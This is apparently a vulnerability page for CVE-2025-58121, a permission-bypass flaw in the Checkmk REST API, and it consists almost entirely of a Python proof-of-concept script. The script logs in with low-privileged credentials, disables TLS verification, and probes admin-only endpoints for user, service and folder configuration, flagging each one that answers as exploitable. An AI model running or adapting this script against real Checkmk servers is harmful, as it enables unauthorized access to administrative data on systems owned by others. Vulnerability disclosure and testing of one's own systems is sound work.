CVE-2025-58121: Checkmk多个REST API端点权限验证不足漏洞

# CVE-2025-58121 PoC - Checkmk REST API权限绕过 # Requirements: requests library, valid low-privileged user credentials import requests import json TARGET_URL = "https://checkmk-server.local" USERNAME = "low_priv_user" PASSWORD = "password123" SITE_NAME = "check_mk" def get_auth_cookie(): """Authenticate and get session cookie""" login_url = f"{TARGET_URL}/{SITE_NAME}/check_mk/login.py" data = { "username": USERNAME, "password": PASSWORD, "_login": 1 } response = requests.post(login_url, data=data, verify=False) return response.cookies def exploit_unauthorized_access(cookies): """Attempt to access admin-only API endpoints""" # Example: Try to access user management API (should require admin privileges) api_endpoints = [ f"/{SITE_NAME}/api/1.0/domain-types/user_config/collections/all", f"/{SITE_NAME}/api/1.0/domain-types/service_config/collections/all", f"/{SITE_NAME}/api/1.0/objects/folder_config/" ] results = [] for endpoint in api_endpoints: url = f"{TARGET_URL}{endpoint}" try: response = requests.get(url, cookies=cookies, verify=False) if response.status_code == 200: results.append({ "endpoint": endpoint, "status": "VULNERABLE - Unauthorized access possible", "data_length": len(response.text) }) else: results.append({ "endpoint": endpoint, "status": f"Protected (HTTP {response.status_code})" }) except Exception as e: results.append({"endpoint": endpoint, "status": f"Error: {str(e)}"}) return results if __name__ == "__main__": print("[*] CVE-2025-58121 PoC - Checkmk Permission Bypass") print(f"[*] Target: {TARGET_URL}") print(f"[*] Authenticating as: {USERNAME}") cookies = get_auth_cookie() print("[+] Authentication successful") print("[*] Testing unauthorized API access...") results = exploit_unauthorized_access(cookies) for result in results: print(f"\n[+] Endpoint: {result['endpoint']}") print(f" Status: {result['status']}")